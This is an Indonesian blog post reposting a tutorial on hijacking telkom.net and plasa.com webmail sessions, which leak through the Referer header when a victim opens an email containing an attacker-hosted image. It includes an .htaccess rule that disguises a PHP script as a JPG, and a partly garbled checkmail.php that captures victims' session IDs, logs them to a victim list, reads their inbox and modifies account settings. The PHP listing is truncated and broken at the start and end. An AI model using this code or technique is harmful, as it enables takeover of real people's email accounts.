telkom.netdan Plasa.com adalah fasilitas email gratis yang diberikan oleh PT Telkom. Pengguna email telkomnet dan plasacom patut waswas, karena amat mudah untuk menghack email di sana. Hanya dengan membuka sebuah email yang telah dirancang khusus oleh attacker, email anda bisa menjadi milik attacker. Dalam artikel ini saya akan tunjukkan apa kelemahannya, bagaimana cara mengexploitasi kelemahan itu dan tentu saja bagaimana cara agar terhindar dari serangan itu.
Webmail Session Hijacking
Teknik hacking email dalam artikel ini adalah dengan cara hijacking session. Oleh karena itu teknik ini hanya bisa dilakukan pada webmail telkom.net dan plasa.com, pengguna telkom.net dan plasa.com yang menggunakan Outlook/Thunderbird tidak rentan terhadap serangan ini.
Karena http adalah protokol yang stateless, sedangkan untuk membuat session server harus bisa memantau state user, maka digunakanlah session ID sebagai kunci atau penanda suatu session. Bila sessionID diketahui attacker, maka attacker bisa menguasai session korban. Orang lain, siapapun yang membawa sessionID anda, akan dianggap oleh server sebagai anda. Hijacking session adalah usaha untuk mendapatkan session ID korban, dengan cara predicting, capturing, atau fixating session ID.
SessionID diberikan oleh server dan harus dikembalikan lagi oleh browser (client) setiap kali membuat request. Mekanisme penyimpanan dan pengiriman session ID bisa dilakukan dengan dua cara:
1. Session Cookie: Session ID diberikan server dalam bentuk cookie dan disimpan oleh browser. Setiap browser melakukan request, cookie tersebut akan dikembalikan ke server lagi sebagai bukti bahwa user tersebut adalah masih orang yang sama.
2. URL Rewriting: Server menyisipkan session ID dalam halaman html yang dikirimkan ke browser. Session ID tersebut dimasukkan dalam bentuk URL di tag html tertentu seperti link (tag A). Contohnya bila URL link aslinya adalah http://www.somesite.com/inbox.php Oleh server link tersebut akan disisipkan sessionID menjadi:
INBOX
Dengan cara ini setiap kali user mengklik link tersebut, maka sessionID juga akan dikirim ke server sebagai bukti bahwa user tersebut adalah pengguna session yang sah.
SessionID paling aman disimpan dan dikirim kembali ke server dalam bentuk cookie, apalagi bila cookie tersebut diamankan dengan bit secure atau httponly. Kemungkinan serangan yang bisa dilancarkan untuk mencuri cookie adalah dengan XSS attack dan sniffing attack, kedua jenis serangan itu bisa dicegah dengan bit secure dan httponly.
Bila cookie telah diamankan dengan secure bit, maka cookie tersebut tidak bisa dicuri dengan sniffing karena cookie hanya dikirim melalui https, cookie tersebut juga tidak bisa dicuri dengan serangan XSS karena akses javascript terhadap cookie telah ditutup. Bila cookie hanya dilindungi dengan httponly, maka cookie itu aman dari serangan XSS, namun rentan sniffing bila cookie dikirimkan melalui http biasa.
Berbeda dengan cookie, menyimpan Session ID dalam URL sangatlah berbahaya, karena URL mudah dilihat, dikopi dan disimpan dalam bookmark, log file dan sebagainya. Selain itu sessionID juga bisa bocor ke tempat lain melalui header Referer. Sebab header Referer bertugas membawa URL dimana sebuah request dilakukan. Bila dalam suatu halaman terjadi request untuk mengambil gambar, maka header Referer akan mengandung URL dari halaman tersebut. Dalam artikel ini saya akan menggunakan jurus header Referer untuk membajak session webmail Telkom.net dan Plasa.com. Bagi pemilik situs, tentu sering melihat header ini dengan program statistic seperti Awstats untuk melihat pengunjung situs berasal dari situs mana saja.
telkom.net URL
SessionID webmail Telkom.net dan Plasa.com disimpan pada URL sehingga memudahkan pembajakan session. Mari kita lihat bagaimana bentuk URL webmail telkom.net dan plasa.com:
http://mail.telkom.net/Session/206017-7vY8EVuJF2935NV9Fhzl-kmbcuww/mailbox.wssp?Mailbox=INBOX&
http://mail1.plasa.com/Session/70174-k2O8e3vcnJEFxmxWYpOX-kmbcuwc/mailbox.wssp?Mailbox=INBOX&
Stealing SessionID from Referer Header
Session ID pada URL telkom.net dan plasa.com disisipkan setelah /Session/ hingga karakter / (slash). Sekarang bagaimana caranya attacker bisa mengetahui URL yang sedang dibuka korban di browsernya? Di awal saya sudah menyebutkan sekilas tentang header request yang bernama Referer. Tugas dari header ini adalah mengirimkan URL halaman yang melakukan request. Agar lebih jelasnya mari kita lihat sebuah contoh.
Ketika pengunjung sedang membuka halaman dengan URL:
http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/Mailbox.wssp?Mailbox=INBOX
Kemudian ketika terjadi request ke sebuah file image:
http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif
Maka pada request GET tersebut akan ada header seperti di bawah ini:
0
1
2
3
4
5
6
7
8
9
10
11
GET /Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif HTTP/1.1
Host: mail.telkom.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.0.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/mailbox.wssp?Mailbox=INBOX&
Cache-Control: max-age=0
Pada baris ke-10 terdapat header Referer yang menunjukkan bahwa request tersebut terjadi ketika kepada user sedang berada di URL tersebut. Karena URL yang direquest adalah http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif, maka web server mail.telkom.net tempat file batal.gif tersebut berada, dapat mengetahui URL ketika request tersebut terjadi. Sekarang bayangkan apa yang terjadi bila request tersebut bukan mendownload image dari mail.telkom.net, tapi dari server www.evilhackersite.com/image.jpg. Web server di www.evilhackersite.com tentu akan mendapatkan URL tempat terjadinya request dari header Referer. Dan karena URL tersebut mengandung Session ID, maka dengan mudah attacker akan membajak session anda.
Attack Scenario
Webmail telkom.net dan plasa.com menggunakan URL sebagai mekanisme pertukaran session ID. Attacker bisa menjebak korban untuk membuka sebuah email yang mengandung gambar yang berlokasi di server attacker. Tag IMG tersebut akan membuat browser korban melakukan request ke server attacker, dengan tentu saja mengirimkan URL korban dalam header Referer. Dengan mengetahui session ID korban, attacker dengan mudah menguasai account webmail korban.
Preparing the Script
Sebelum bisa melakukan serangan, yang pertama harus dilakukan adalah menyiapkan server side script sebagai target request untuk menangkap SessionID korban. Server side script ini akan di-”masking” sebagai file JPG dengan menggunakan mod_rewrite Apache (.htaccess). Server side script yang dimasking sebagai file JPG inilah yang akan dimasukkan dalam tag IMG dalam email yang dibaca korban. Bila korban membaca email attacker, maka akan terjadi request ke server side script itu, sehingga attacker bisa mendapatkan session ID korban dan menguasai emailnya.
URL yang akan kita jadikan tujuan request adalah: http://www.ilmuhacking.com/mylab/image.jpg yang sebenarnya adalah masking untuk server side script http://www.ilmuhacking.com/mylab/checkmail.php. Dengan menggunakan mod_rewrite Apache dan settings .htacess berikut ini masking checkmail.php menjadi image.jpg bisa dilakukan:
1
2
3
RewriteEngine On
RewriteBase /
RewriteRule mylab/image.jpg mylab/checkmail.php
Berikutnya saya harus menyiapkan file checkmail.php. Tugas dari script php itu adalah mendapatkan session ID kemudian langsung membajak session korban bermodalkan session ID tersebut.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
-1) {
$telkomnet = true;
}
if (strpos($ref,“plasa.com”)>-1) {
$plasacom = true;
}
if ($telkomnet===false && $plasacom===false) {
exit();
}
$file = fopen(“daftarkorban.txt”,“a”);
$url_tokens = parse_url($ref);
$host = $url_tokens["host"];
$tokens = explode(“/”,$ref);
$sessid = $tokens[4];
fwrite($file,“######\n“);
fwrite($file,“REFERER:”.$_SERVER["HTTP_REFERER"].“\n“);
fwrite($file,“SESSID:”.$sessid.“\n“);
$urlhost = “http://$host/Session/$sessid/mailbox.wssp?Mailbox=INBOX&”;
$inboxhtml = file_get_contents($urlhost);
preg_match(‘/(.*?)<\/title>/i’, $inboxhtml, $matches);
$title=$matches[1];
$email = $title;
$pos = strpos($title,” “);
if ($pos > -1) {
$email = substr($title,0,$pos);
}
fwrite($file,“KORBAN:”.$email.“\n“);
fwrite($file,“******\n“);
fclose($file);
$image = ImageCreate($width, $height);
$white = ImageColorAllocate($image, 255, 255, 255);
$black = ImageColorAllocate($image, 0, 0, 0);
$grey = ImageColorAllocate($image, 204, 204, 204);
ImageFill($image, 0, 0, $black);
ImageString($image, 3, 15, 5, $sessid, $white);
ImageString($image, 3, 25, 25, $email, $white);
// Writing Signature…
$url = “http://mail.telkom.net/Session/$sessid/settings.wssp”;
if ($plasacom==true) {
$url = “http://mail1.plasa.com/Session/$sessid/settings1.wssp”;
}
$old_settings = file_get_contents($url);
preg_match(‘/
Jumat, 02 April 2010
Langganan:
Posting Komentar (Atom)
0 komentar:
Posting Komentar